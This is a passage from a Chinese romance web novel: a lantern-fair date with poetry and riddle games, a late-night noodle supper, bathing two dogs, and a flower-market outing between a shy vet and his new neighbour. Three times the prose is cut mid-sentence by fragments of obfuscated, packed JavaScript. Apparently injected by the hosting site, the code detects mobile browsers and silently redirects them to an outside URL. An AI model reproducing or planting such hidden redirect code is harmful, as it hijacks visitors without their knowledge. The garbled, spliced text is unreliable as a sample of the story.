字正腔圆,一字不差。 “他连这个都知道。” “这个外国人很厉害啊!” “中文说这么好,肯定学过。” 周围人议论纷纷。 费远洲垂了垂眼,面向人群,身姿挺拔:“我母亲是中国人,我也是中国人。” 四周的人鼓起了掌:“好!好!” 陶诺给费远洲竖了个大拇指。 “再来。” 这次陶诺主动抽。 “海上生明月。” “天涯共此时。”陶诺脱口而出,说完才意识到抢答了,脸一红,“抱歉,你、你肯定会……” 费远洲弯着嘴角注视他:“你会就够了。” 陶诺被看得脸偏向一边,直盯着兔子灯看。 两人在诗词接龙这里积攒了不少明月印章,一口气答对超过十题可以带走一盏花灯。 费远洲拿走了那盏兔子灯。 又是兔子。 陶诺把灯提起来看了又看,就是一只平平无奇的白色兔子,装饰了一点花纹。 费远洲像读出了他的疑问,把兔子灯拿到陶诺脸庞旁并排着:“跟你很像。” “啊?”陶诺一脸茫然。 费远洲看他懵懵的表情,眼里映出斑斓点点,情不自禁挠了一下他蓬起来的头发。 陶诺耳尖红了。 更像了。 费远洲笑出声。 两人继续往灯展中心走。 “陶医生,不好意思,我没有恶意。”费远洲依然走在陶诺身侧,挡住外围的人流。 “没关系,我知道的。”陶诺一手兔子灯一手糖画兔,“费先生,你叫我名字就好。” “好。”费远洲答应,“那你也不用叫我‘费先生’,叫我名字或者可以叫我Ansel。英文名是我父亲取的,中文名是我母亲取的,我随母姓。” 陶诺嘴里咂摸了一下“Ansel”和“费远洲”,觉得好像都不是那么自然能叫出口。 “陶诺。”费远洲叫他。 “嗯。”陶诺低头摆弄着兔子灯。 “我考你一个诗句吧。”费远洲现学现卖,“月到中秋分外明,你知道下句是什么吗?” 陶诺想也没想:“人到中秋更深情。” 费远洲笑容僵在脸上。 7. 相配 广场的中心花灯密集,光影落在人来人往的脸上,流光溢彩,忽明忽暗。 陶诺也被眼前璀璨的画卷吸引,抬头一盏宫灯,灯穗子在他额前晃动。身上竹叶刺绣点缀的金丝线也在光影中闪动,叶片在周身流转飞舞,青翠鲜活。 费远洲离他半步,他在看灯,费远洲在看他。 人依旧只多不减,陶诺却像没注意到涌动的人群,因为那道比灯更暖的视线,一直落在他身上。 猜灯谜的区域在最中心,人也最多。 花灯下挂着纸条,上面写着谜面。 “不用进去,你选灯,我去拿。”费远洲让他站到拥挤的人群外。 陶诺左右望了望,选了一盏莲花灯。 费远洲拨开人群,扯下纸条拿过来给陶诺。 “十五的月亮,打一个成语。” 陶诺想了一会儿,不确定地说:“正大光明?” 费远洲看了他一眼,拿去工作人员那里兑换答案。 回来的时候,卡上多了一枚印章。 陶诺问:“对了?我猜对了?” “嗯。”费远洲道,“还选哪个?” 陶诺又看中了一只五彩鹦鹉:“那个好别致。” 费远洲拿来纸条:“韩信十面埋伏,猜一个历史人物。” 陶诺低头认真思考,咬着唇喃喃自语:“十面埋伏,项羽……”猛一抬头,“关羽!” 费远洲看着他笑道:“对。” 陶诺惊诧:“你早猜到了?” 费远洲摇头:“没有,这题我猜不出来,但我看你自信的状态,答案一定是对的。” 果不其然,费远洲又兑换了一枚印章。 他们接连又猜了几个,陶诺发现自己居然有点喜欢这个游戏。不是因为他能猜出来,而是他不需要挤进人群,不需要跟陌生人对话,只需要看费远洲拿过来的纸条,然后安静地想答案便好。 说不准是运气,还是越玩思路越开阔,费远洲拿回来的谜面都不太难,陶诺猜出了大半。偶尔遇到不会的,两人一起你一句我一句地分析,陶诺再顺着想下去,最后也能猜出来。 “你好厉害。”费远洲称赞,“什么都知道。” 又被夸了,陶诺低头:“没,只是碰巧。” 费远洲诚恳道:“不是碰巧,你的知识面很丰富。只不过有时候不是一下子就能把储存的东西提出来,像在电脑里找资料,你需要时间,多给一点时间,你就一定能找出答案。” 陶诺愣了一下,他不知道费远洲观察得如此细致,也很照顾他的情绪,反应慢也被他变成了一种夸赞。 积分卡上的印章已经盖满了,甚至还有多出来的,可以去兑换礼品。 陶诺看向礼品架上的小东西:钥匙扣,书签,扇子。最上面一层放着两个抱枕,一个是长耳朵的白兔子,一个是鹅黄色的月亮,上面绣着一朵桂花。 工作人员核对了他们的印章,说:“可以换一个抱枕。” 陶诺看了一眼兔子,又看了一眼月亮。 “可以两个都换吗?”费远洲问。 “积分不够,只能一个。” “那我可以买吗?” “这个……”工作人员没遇到过这种情况,也不知道该怎么处理。 “换一个兔子,买一个月亮。”费远洲拿出手机。 陶诺觉得没必要:“一个就够了,那就兔子吧。”今晚一直受费远洲影响,想当然认为费远洲应该也会选兔子。 “可是,我觉得月亮也不错。”费远洲这次却出乎意料。 “那就换月亮。” “我要兔子,你要月亮。”费远洲跟工作人员商量付多少钱。 大概是他态度实在好,言谈举止让人十分舒服,再加上样貌英俊,赏心悦目,工作人员最后同意,给出了一个合理的价格。 费远洲接过兔子,把月亮递给陶诺。 “为什么让我要月亮?” 费远洲笑得意味深长:“你觉得呢?” 费远洲之前说过,兔子像他。 陶诺抱着月亮站在原地,心跳快得不像话。 “妈妈,我也要兔子和月亮。”旁边有个小孩指着他们说。 年轻母亲牵着小孩:“你不是有一个月亮了吗,够了。” “不够,月亮上要有兔子才完美。” 陶诺:…… 难道,费远洲是把他自己比做月亮了吗,还是想多了? “陶诺,要喝桂花冰酒酿吗?”费远洲问,“我看你好像挺热。” 陶诺脸红得发烫:“好,好啊。” 两人从灯展中心原路返回,到先前卖饮料的摊位前买了一份桂花酒酿圆子冻。 晶莹剔透的水晶冻,配上滑溜软糯的小圆子,浇上冰酒酿,撒上干桂花,看着就清爽解腻。 陶诺咽了咽口水。 费远洲递过去,发现陶诺还拿着糖画兔,另一只手提着兔子灯,胳膊底下夹着月亮抱枕。 费远洲看了他一眼,并没有要接过来的意思,他端回碗,用勺子搅拌了一下,舀了一勺递到陶诺嘴边:“尝一下。” 原本脸红还没消退,这下连脖子根都彻底红透了。 桂花香萦绕在鼻尖,陶诺犹豫片刻,张嘴吃了。 “味道怎么样?”费远洲问。 “嗯,唔唔唔。”陶诺只顾点头,说不出来话,也不知道该说什么好。 费远洲神色如常,搅了搅,继续喂他第二勺。 陶诺终于开口说话,结巴道:“我、我自己、自己来……” 费远洲丝毫没有要松开勺子的意思:“你先拿着灯。” 陶诺红着脖子根,吃了第二口。 第三口,第四口…… 软糯香甜,冰爽清凉,陶诺吃得满口桂花香,不知不觉到吃不下:“好、好了,我吃饱了。” 一碗酒酿圆子见了底。 “你还没吃。”陶诺舔了舔甜滋滋的嘴唇。 费远洲打包了两份带走。 回去的路上,人少了。 不知道是否街道挂满灯笼的原因,陶诺总觉得夜风暖融融的。他走得很慢,费远洲走在他旁边,兔子抱枕在他手里晃来晃去。 “今天谢谢你。”陶诺突然说。 费远洲轻轻一笑:“谢什么?” 陶诺顿了顿,还是说了:“你知道我人多了会……你没让我挤……” “嗯,我知道。”费远洲打断他,“每个人都有自己擅长的,也就会有不擅长的,这没什么。” 费远洲没用“害怕”这个词。 陶诺没说话,但脚步又慢了一点。 “那个……”他犹豫了一下,还是又问了,“为什么选月亮?” 费远洲停下脚步,看向他手里的月亮抱枕:“母亲以前给我念过一篇文章,叫《走月亮》。”他眉眼下打着一片深影,“我想她了。” “下周才是正式的中秋节,你可以回去看她。”社区活动提前办在周末,就是为了错开节日当天各人要归家团聚。 费远洲眼里有一种陶诺从未见过的情绪在流动,直觉告诉他别再问下去,但他忍不住已经开了口:“她是在国外吗?” “她早已经不在了。”费远洲那丝情绪一闪不见,很平和地道,“在我十五岁的时候。” “抱歉。” “没关系。” “你呢?会忽然想念家人吗?”费远洲问。 陶诺支吾:“偶尔……会吧。” “他们也在这个城市?” “唔……在,他们在。” “那很方便了。” “嗯……嗯。” 费远洲察觉到陶诺的不自在,闭口没再继续。 之后两人都没再说话,月光和灯光下,拖着他们并排的长长的影子。 进电梯,出电梯,走廊声控灯亮起。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497948|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “到了。”陶诺说。 “嗯。”费远洲看着他,“陶诺,谢谢你今天陪我。” “不客气。”陶诺不知道该往哪儿看,“我们是朋友嘛,应该的。” 费远洲宽阔的肩膀往两旁微微一塌,笑道:“对。” “那,晚安。”陶诺准备转身。 费远洲又叫住了他:“陶诺,我们拍张合影吧。” “啊?” “我觉得咱们今天很相配。” 费远洲在说衣服,陶诺胸腔却被心脏撞了个七上八下。 费远洲手机快没电了,陶诺拿了自己手机给费远洲,他胳膊够长。 陶诺提起兔子灯,抱着月亮和兔子抱枕,费远洲接过了糖画兔站在他身后,另一只手打开手机摄像头。 “准备——” “微——笑——” 咔嚓,画面定格。 “发给我。”费远洲看照片效果的时候滑过了相册,眼熟的微信头像在一闪而过。 两人同时都愣了一下,但又默契地表现得毫不在意。 “真的晚安了。” “嗯,晚安。” 两人分别转身开门,各自的狗早已蹲在门前迎接主人。 凯撒依然泰然自若的摇动尾巴。 月饼吠了几声,在陶诺脚边钻来钻去。 “小心点,我衣服!” “月饼!” “你给我让开!” 砰——咚—— 不知月饼又闯了什么祸,反正后来费远洲在露台上看到傻狗又在扒拉阳台门。 - 陶诺洗完澡,把月饼放了进来。 他头枕着月亮抱枕躺在摇摇椅上,点开刚刚两人的合影。 费远洲站在他身后,高出了一大截,前伸的手拿着手机在拍照,看起来就像把他半拥在了怀里。 陶诺捂着嘴笑了又笑,把照片发给了费远洲。 墨阁app有新的消息红点。 陶诺点进去,是私信消息。 远行客:【“人到中秋更深情”真的是你改写的?】 陶诺今天心情很好,脑子一时间没转过来。 夜航船:【对啊】 远行客:【可我朋友也知道这一句】 陶诺脑回路终于转过弯来,忽地坐了起来。 糟糕了,费远洲是不是察觉到了什么。 夜航船:【不奇怪,又不是什么绝世好句,有人想到一块很正常啊】 对面沉寂了一会儿。 这话没错,这个句子的确很普通,费远洲查过,类似的有一大堆。 或许,真的只是巧合。 远行客:【你们都好有意思】 看来对方相信了,陶诺松了一口气。 夜航船:【学校里念的都是同样的书,思路一样,难免】 远行客:【明白】 远行客:【你知道十面埋伏的故事吗?】 可能是今天那个灯谜的原因,费远洲不清楚这个故事。 陶诺在线上给他简单讲了一下。 顺着这个话题,两人渐渐聊得多了起来。 远行客:【今天跟朋友去参加了诗词接龙的活动,很有意思】 夜航船:【是吗?】 陶诺心念忽转。 夜航船:【是怎样的朋友?】 夜航船:【我的意思是,男朋友吗?】 陶诺发出这个信息后,心突突跳。 费远洲看到这条信息后,一种直觉上的怀疑感又升腾起来。 对方没问过自己是男是女,就算主页资料上有备注,就能那么肯定网上的资料不会乱填? 对方也不知道自己说的朋友是男是女,直接就问是不是“男朋友”,如此笃定朋友的性别是“男”不是“女”? 费远洲浓眉紧皱,稍又展开,紧抿着唇,片刻又摇头轻笑。 有意思。 8. 宵夜 费远洲重新翻看这个名叫“夜航船”的网友资料。 四天前刚刚注册,当天就点赞并关注了自己。 四天前……那就是在自己搬来的第三天。 这期间跟陶诺的来往,主要都是围绕各自的两只狗,凯撒和月饼……月饼…… 是了,第一天的时候,月饼闯进了自己家,陶诺追着月饼进了门。 费远洲指尖敲了敲桌面,看着自己笔记本电脑上的墨阁论坛页面。 是这样的吗? 只能推测,不能确定。 费远洲敲击键盘。 【不是男朋友】 【我单身,没有男朋友】 单身! 陶诺嘴角上扬,根本压不住。 夜航船:【我也是】 夜航船:【你喜欢什么样的人?】 发完这条信息,陶诺猛地起身在屋里转了两圈,又去厨房倒了杯水喝。 久久没有回复,陶诺有点后悔了。 是不是问得太直接? 正想着,私信窗口跳出了新信息。 远行客:【善良,可爱,对自己在意的事情专注的】 陶诺愣了一下,这个回答很笼统,像那种一板一眼的标准答案。 说不上欣喜还是失望,第二条消息紧接来了。 远行客:【或者还有喜欢小动物,比如:会跟狗狗认真讲道理的那种】 陶诺盯着屏幕,眨了眨眼睛,转头去看难得乖乖趴在一旁的月饼。 跟狗讲道理? 他想起自己经常跟月饼讨价还价的样子,指尖有点出汗。 我不就是吗?是我吗?真的假的? 还是他故意这样说,逗我? 可这是远行客说的,远行客不知道聊天的夜航船是我啊。 咕噜—— 肚子叫了。 陶诺还在琢磨远行客的信息,没理会。 咕噜——咕噜—— 胃里空空在抗议,看来那一小碗桂花酒酿圆子不扛饿。 陶诺摸出手机,点了个外卖宵夜。 二十分钟后,门敲响了。 他轻手轻脚开门,接过外卖小哥递过来的袋子:“不是备注了打电话别敲门吗?” 外卖小哥一脸懵:“没有备注啊。” “怎么没有……”陶诺正要点开手机给外卖小哥理论,1202的门忽然开了。 费远洲穿着丝绸质感的家居服,头发微微散开,像是刚洗完澡,带着一股干净的水汽。他手里拎了一袋垃圾,显然是出来扔垃圾的。 两人打了个照面。 陶诺本能地把外卖袋子往身后藏,也不知道干嘛要藏,点个外卖也没有见不得人啊。而且藏有什么用,外卖小哥大喇喇还站在门口呢。 “还没休息?”费远洲看了两人一眼。 “嗯……”陶诺往后退了半步,“你也没休息?” “刚洗完澡。”费远洲目光落在他身后的外卖袋子,“点了什么?” 陶诺把袋子拿出来:“麻、麻辣烫……”他邀请,“一起吃点儿?” 费远洲看着他,没说话。 走廊的声控灯灭了,陶诺没看清费远洲的表情,只感觉到对方的视线一直停留在他脸上。 费远洲不会是觉得自己刚刚那一套藏的动作是怕被他看见,分了他的宵夜。这可说不清了,他没有小气也不抠,可也说不明白自己为什么下意识要躲。 “饿了?”费远洲道。 “嗯。”陶诺诚实点头。 “别吃那个。” 陶诺愣了一下。 “进来,我给你做。”费远洲转身开了门,凯撒从门缝里探出头来,冲他摇了摇尾巴。 陶诺站在原地,提着那袋麻辣烫,大脑转了好几个弯。 他想说“不用麻烦”“麻辣烫就好”,但他嘴没张开,脚也没有动。 费远洲回头:“愣着干什么?” 陶诺鬼使神差地跟了进去。 费远洲家的厨房比陶诺想象的还要整洁。 台面上收拾得很干净,没有多余的杂物,调料瓶全都被收进了柜子里,连锅都没有留在外面,看起来不像经常用厨房的样子。 费远洲会做饭?中餐还是西餐? “你坐外面等吧,很快就好。”费远洲指了指吧台。 陶诺乖顺地在吧台前坐下,放下手里的麻辣烫。 费远洲在厨房里远远看了一眼,过来把麻辣烫收走了:“晚上别吃这个,重油重辣,对肠胃负担太大。” “哦。”陶诺不知道该说什么,费远洲的语气不像是在跟他商量,而像在安排一件理所当然的事情。 两人刚刚还在网上聊喜欢的人的话题,费远洲不知道对方是自己,可自己心里很清楚,眼下这个情形,陶诺心跳有点加速。 费远洲打火烧水,从冰箱拿出鸡蛋和番茄,又洗了一小把青菜。 水开,费远洲翻出一袋挂面下了一点进去,动作很熟练。 陶诺盯着费远洲切番茄的手出神,骨节分明的手指按着番茄,手腕轻压,刀刃在案板上切出清脆的声响。 “在看什么?”费远洲头也没抬。 陶诺慌忙移开视线,仰头转动:“没、没看。” 费远洲嘴角弯了一下,没戳穿。 很快面条煮好,费远洲分了两碗,一碗推到陶诺面前,一碗端到自己这边。 陶诺看着眼前热腾腾的面条,上面卧了一个溏心蛋,番茄的香味混着葱花飘进鼻子里,胃又叫了一声。 “吃吧。”费远洲在他对面坐下,拿起了筷子,“我也饿了。” 陶诺低头吃了一口,面条煮得刚好,软硬适中。汤底是番茄炒出来的,不是自己平时做用的调料包。 陶诺眼眶有点酸。 他说不清楚自己此时的感受,好像感动又好像不是,吸了吸鼻子,埋头苦吃。 费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497949|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远洲看着他吃了一会儿,自己也吃了起来。 陶诺偷偷抬眼,看见费远洲低头吃面时垂下的睫毛又密又长。 他长相英俊,身材似雕塑般完美; 他会做中餐,会下面条,会熟练使用筷子,说的中文很标准,写的汉字比一般人都好看; 他不揭穿自己恐惧人群,不说破自己害怕跟陌生人交流; 他没收了自己的外卖,在安静的深夜给饿肚子的自己煮了一碗宵夜…… 陶诺胸中热流翻涌,终于明白了这种感受。 已经很久,很久很久,久到或许从来就没有过“有人会在深夜为你做一碗面”这样的事情。 仅仅,只是一碗面而已。 咸湿的泪流进陶诺的嘴角,混合着酸甜鲜香的面条一起嚼烂,吞咽下肚。 “好吃吗?”费远洲先他吃完。 “嗯,很好吃。”陶诺闷声道。 “慢慢吃,不够我再煮。” “嗯,够了。”陶诺连汤汁带葱花,一点不剩,干干净净。 “看来是很饿了。”费远洲收碗。 “我来。”陶诺抢着收拾,“煮饭的人不用洗碗。” 费远洲没有跟他争抢,交待了一下厨房的使用习惯,就由着他去了。 费远洲坐回吧台,盯着在水龙头下冲洗碗筷的人背影,回忆着两人集今天相处的情形。不知道发生了什么,明明之前一切都很好,怎么吃了碗面就哭了。 虽然陶诺在极力遮掩,费远洲还是一眼就看出来了,眼眶那么红,谁会信“被面条热气熏的”这么笨的理由。 家里其实是有洗碗机的,费远洲没说,或许让他找点事情做释放一下情绪更好。 陶诺在厨房收拾完毕,出来的时候已经完全没事了,脸色正常,眼眶也不再发红。 “那个,”陶诺交替着搓了搓手,“我就回去了。” “嗯。”费远洲道,“早点睡。” 陶诺走到门口,凯撒跟过来蹭了下他的腿。 陶诺蹲下摸了摸凯撒的头:“晚安,凯撒。” 凯撒摇了摇尾巴,也像在跟他道晚安。 陶诺站起身,看了一眼旁边的费远洲,玄关顶上的暖光勾画着他完美的轮廓,整个人看起来温暖又柔和。 “费、远洲。”陶诺第一次叫了他的名字。 “嗯?” “谢谢你。”陶诺笑着说,“面条很好吃。” 费远洲也弯着唇角:“下次饿了直接敲门,不用点外卖。我还会做其他中餐。” 陶诺用力地点了下头:“好。” 陶诺回了自己屋里,拿出手机在微信上又道了一次晚安。 墨阁的聊天界面还停留在远行客说喜欢跟狗狗讲道理的人那一条。 陶诺想了想,打字发送。 【你不问我喜欢什么样的人】 【不问我,我也告诉你】 【我喜欢会给我做宵夜的那种】 9. 洗狗 第二天上午,阳光正好,淡金色的光穿过小区的梧桐树,柔和地洒落在露台上。 一切和煦而安宁。 “能不能坐好!坐好!啊——” 好像……也没那么安宁。 陶诺一手提着水管,另一只手抓住月饼想让它乖乖坐下,傻狗子根本控制不住。结果就是撞翻了沐浴露,还咬破了水管子。 水流从破口处喷射出来,溅了陶诺一身。 今天天气好,陶诺打算在露台给月饼洗个澡,这里够宽敞,比在浴室更容易操作,毕竟二狗子每次洗澡都不安分。 他接好水管,调好水温,将宠物专用洗漱用品摆了一排,然而还没开始,自己先被冲了个澡。 陶诺叹了口气,拧关了水。 月饼蹭到他身旁,猛地甩身子。 “啊——月饼!” 本来就湿哒哒的一身又惨遭了一轮水花攻击。 “需要帮忙吗?”一道熟悉的声音从隔壁露台传过来。 陶诺用手抹了一把脸,看见费远洲端着一杯咖啡站在露台上,凯撒蹲在他脚边不远处。 “没事,不用。”这是常态,状况频发的常态,他能处理。 “月饼怕水?”费远洲看着在露台上东奔西走的哈士奇。 “不怕,是太喜欢。”陶诺又叹了一口气,每次洗澡月饼都激动得不行,他根本按不住。 费远洲忽然想到什么,把咖啡喝了:“等一下。” 陶诺不知道要等什么,再看对面的时候,费远洲已经不在露台上了。 下一刻,大门敲响。 费远洲提着个篮子,带着凯撒站在门口。 “天气不错,凯撒想跟月饼一起洗个澡,可以吧?”费远洲说着递过来一张干净毛巾,“擦擦。” 陶诺身上还在滴水,接下了毛巾:“谢谢。” 月饼听见动静,也跑来了门口,看见费远洲,湿着一身毛就要蹭上来。 “唔汪——”凯撒沉沉叫了一声。 月饼定了一瞬,随即狗头伏地,屁股撅老高,朝着凯撒兴奋地吠,像在邀请朋友:快来啊,一起来玩水。 “它喜欢它。”费远洲轻笑。 简直节操掉一地,陶诺用毛巾捂了脸。 毛巾上有一股干净的清香,是洗衣液的味道,还有从费远洲家里带过来的独有的气息。 陶诺悄悄用力吸了一口。 费远洲带了新的水管过来,换下了陶诺那根被月饼咬破的。 “凯撒,坐。”费远洲发出指令,凯撒原地蹲下,一动不动。 调整好水流,费远洲开始给凯撒背部淋水。 说来也奇怪,凯撒进来以后,月饼居然老实了,同陶诺一起,一人一狗安安静静的在旁边看着另外一人一狗。 费远洲给凯撒全身先冲洗一遍,扭头看见并排蹲着的陶诺和月饼。 “陶诺,过来一起,还有月饼。” 月饼听见叫他,立刻凑了上去。 费远洲给月饼淋水,顺着毛的方向摸,像在安抚。 跟先前陶诺给它洗澡时候完全不一样,月饼除了依然伸着舌头摇着尾巴外,竟然乖乖地坐下了。 陶诺不敢相信自己眼睛:“月饼可从没这样听话过。” “可能因为凯撒,它跟着学。哈士奇可是很聪明的狗。” 得到表扬,月饼裂着嘴像在笑。 费远洲挤了些沐浴露在凯撒身上,又问陶诺:“用凯撒的还是月饼自己的?” “饼饼不挑,都行。” 费远洲笑了一下,给月饼挤了沐浴露。 “怎么了?”陶诺低头看了下自己。 “没什么,饼饼,好听。” 陶诺抿了抿唇,动手给月饼搓泡沫。 “月饼年纪应该不大吧?”费远洲手指在凯撒背上打圈,“好奇心重,爱玩爱闹,极度依赖你但又叛逆。” “嗯,应该有两岁半吧。” 应该?如此不确定,费远洲偏头看陶诺。 “月饼是我捡来的。”陶诺拍了拍月饼壮实的肩背,“去年中秋节的时候,差不多也有一年了。” 陶诺遇见月饼的时候,它正在垃圾桶边趴着,不知道流浪了多久,身上脏兮兮看不见本来的毛色,不至于皮包骨头,但也是瘦狗一只。 陶诺见过的狗多,这只哈士奇的长相很标准,这种品相绝对不会生来就流浪。它身上没有狗牌也没有芯片,陶诺判断不了是走失的还是被丢弃,问过周围的人,都不知道。 陶诺顺路把它带回了医院,一番检查,发现后腿轻微骨裂,但没有其他伤痕,不是高处坠落,推测像是人为造成的。 在医院门口贴了几天认狗启事,毫无讯息。也不可能一直养在医院,最后陶诺把它带回了家。 “它应该有点分离焦虑症,我长时间不在家它就会搞破坏,不理它就总闹腾,吸引我关注。”陶诺揪了一把毛茸茸的狗耳朵,“捡到它的时候也不知道它多大了,推测可能一岁多点。” 费远洲静静听他讲完。 “抱歉,是不是晚上总吵到你。”陶诺恍然低头,“我没怎么驯过它,以后我尽量、我们尽量控制。” “试试让它和凯撒在一起怎么样?”费远洲给出一个建议。 “这样好吗?会不会打扰到你……你们。”这个提议实在出乎预料。 “试试看,凯撒受过训练,说不定能影响月饼。你看现在不就很好吗?” 从凯撒进门那一声低吼,到现在月饼乖乖坐着洗澡,还真是从来没这么听话过。 或许,德牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497950|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的对哈士奇有压制? 正想着,月饼忽地站了起来,看他抖头的架势,糟糕! 陶诺去拉费远洲,想拉他赶紧躲到一边。 还是慢了,月饼甩得泡沫四溅,两人无一幸免。 陶诺下意识伸手去擦,手指碰到费远洲下颌,僵在了半空,下一秒立刻缩手,像被惊吓到:“对,对不起,我……” 费远洲低头看陶诺,自己什么也没说什么也没做,这么吓人吗。 “没事。”他偏头用肩膀蹭了一下脸上的泡沫,“不要紧……” 话没说完,月饼继续来了第二下。 陶诺忍无可忍,冲月饼吼道:“臭饼!”追过去揪住狗,拽到费远洲跟前,“快,道歉。” 惹得费远洲无奈又想笑。 反正身上也不干净了,两人齐心协力,一鼓作气先给月饼冲洗完,再接着洗了凯撒。 水流哗哗,阳光照得一地水珠发亮,两人并排蹲着,时而肩膀几乎挨在了一起。 洗完了狗,又接着洗露台,最后再收拾自身。 一番劳作,终于一切搞定。 “陶诺,过来。”费远洲又回到了自己露台那边,喊他,“带月饼一起过来。” “月饼还是湿的。”陶诺担心弄脏费远洲的屋子。 “来晒太阳。”费远洲指了指露台上的小圆桌。 费远洲从冰箱里拿出两碗甜品。 “桂花酒酿圆子!” “嗯,是昨天打包的。” 依然是一口清甜,简直不要太幸福。 午后的阳光暖意更盛,两只狗狗趴在露台晒毛,圆桌上放着切好的水果,陶诺靠在座椅上,后仰了头闭着眼,脸色被照得红润。 偶有清风拂过,空气里传来的是香甜的味道。 生活应该是此时此刻这般美好。 “什么时候上班?” 美好被砸稀碎。 “我今天休息。”还能捡起来拼凑一下,陶诺睁眼,“……有事?” 费远洲也躺在旁边的座椅上:“我要出门一趟,你要上班的话我正好可以顺道送你过去。” “哦。”陶诺很有眼色地站起来,“那我回去了,你忙。”说完去拽月饼。 “不忙。”费远洲道,“我去花鸟市场买花卉,布置露台。” “哦。”陶诺反复搓揉月饼的脑袋,没说离开也没再坐回去,犹犹豫豫了半天,终于下了决定,小声问,“那个,不介意的话,我、我陪你去花鸟市场吧。” 费远洲没有立刻答应:“花鸟市场人很嘈杂。”他现在已经知道了陶诺不喜欢去人多的地方。 “没关系,有你一起还好。”陶诺担心自己太过直接,又说,“感谢你的面条。” 看来这碗面条真是效果斐然。 10. 大胆 花鸟市场在城西,开车过去二十分钟。 费远洲的车是一辆银灰色的SUV。 陶诺不太懂车,只认识大类品牌,看标牌只知道这是北欧车系。 车内空间很大,没有多余装饰,连香薰和摆件也没有,干净整洁,无异味。 陶诺坐进副驾驶,费远洲教他将座椅调到舒适的位置。费远洲俯身过来的时候,两人靠得稍微有些近,陶诺紧张得不敢呼吸。 费远洲侧头看了他好几秒,陶诺把头偏向窗外,假装看风景,只是这在地下车库,哪里有风景。 “陶诺。”费远洲低沉的声音在密闭的车厢里共振,震得陶诺耳朵酥麻。 “嗯?”陶诺依旧看窗外。 费远洲见他没回头,侧身帮他拉过安全带扣好。 陶诺尴尬地抓握住安全带:“谢谢。” “不用紧张,我对国内交通很熟悉,车技也很好。”费远洲宽慰道。 “没,我不紧张。”陶诺双手规矩地放在膝盖上。 费远洲拧开一瓶纯净水递给他,打开车载音响播放了一首钢琴曲,很舒缓的调子。 陶诺喝水润了润嗓子,往后靠着椅背,放松了下来。 “你露台的那些植物养得挺不错。”费远洲说。 当然了,这些植物全都是不太需要怎么管的,给点水就能活。 陶诺想了想,实话实说:“其实,仙人球已经换过了两盆。” 费远洲“嗯”了一声。 “但其他都活得很好。”还是不想在对方面前显得自己太笨拙,陶诺找补道。 费远洲又“嗯”了一声,没笑,但陶诺觉得他好像在笑。 陶诺抿唇鼓了鼓腮帮子,打住了话头。 到了地方,费远洲停好车。 下车前,问陶诺:“开得不快,感觉还好吧?” 岂止是好,十分舒坦,陶诺都差点在钢琴声里睡过去了。 “你的车坐着很舒服。”陶诺道。 “专门挑的后排大空间,带凯撒出去比较方便,它也很喜欢。” 下车锁门,陶诺仰望着费远洲高大背影,心觉他对凯撒也很上心。 费远洲腿长,迈了两步发现陶诺落在身后,停下来等他。 今天周末,花鸟市场的人的确不少。 花香,泥土,路过鱼虫门店还有奇怪的腥味,陶诺揉了揉鼻子。 “不习惯?” “还行。” 陶诺是第一次来花鸟市场,线上什么都能买到,家里的植物全是网购的。如果是他一个人,打死也不可能来这里逛。 只是费远洲给他煮面条,又帮他一起洗月饼,还借他露台晒太阳,虽然在自己露台也能晒,但那是不一样的,是朋友的邀请和善意,他懂。 甚至费远洲还提议让凯撒教月饼学规矩——那傻狗不可能学会,可它跟凯撒在一起的确乖了很多。 对方把他当朋友,自己也得有朋友的担当。至少在这个城市,陶诺比费远洲熟悉多了,哪怕自己不怎么出门。 陶诺认为自己在这种时候有义务,陪这位归国不久的中国人。 “走里面。”费远洲提醒道。 “哦。” 两人在第一个卖多肉的摊位停了下来。 陶诺眼睛亮了亮,拿起一盆豆瓣绿:“这个好看。” 老板赶紧介绍:“一周浇一次水,晒不晒太阳都行,很好养。” 费远洲点点头,挑了一盆放到旁边。 “这个也好。”陶诺又拿起一盆虎皮兰。 老板继续介绍:“半个月浇一次,养不死。” 费远洲也挑了一盆放边上。 “还有这个这个……”陶诺冲费远洲招手,随即又放下,“我、我就是觉得这些都比较好养,你忙起来忘了浇水也不要紧……抱歉,你的露台应该你自己挑的。” “没关系。”费远洲看着他红了的耳朵,“你挑的这些我也很喜欢。” “真的?”陶诺抬头。 “嗯。”费远洲付了钱,把刚刚选的两种都让老板装起来。 两人继续逛,换了个卖开花植物的摊位。 陶诺的目光落在一盆微型月季上,粉色的花苞密密匝匝,盛开的渐变花瓣层层重叠,叶片油亮。 “真好看啊。”陶诺叹息,“可是好难养,要经常修剪,还得施肥……” 费远洲在另一边已经跟老板谈好,付了钱。 陶诺:…… 两人又逛了几个摊位。 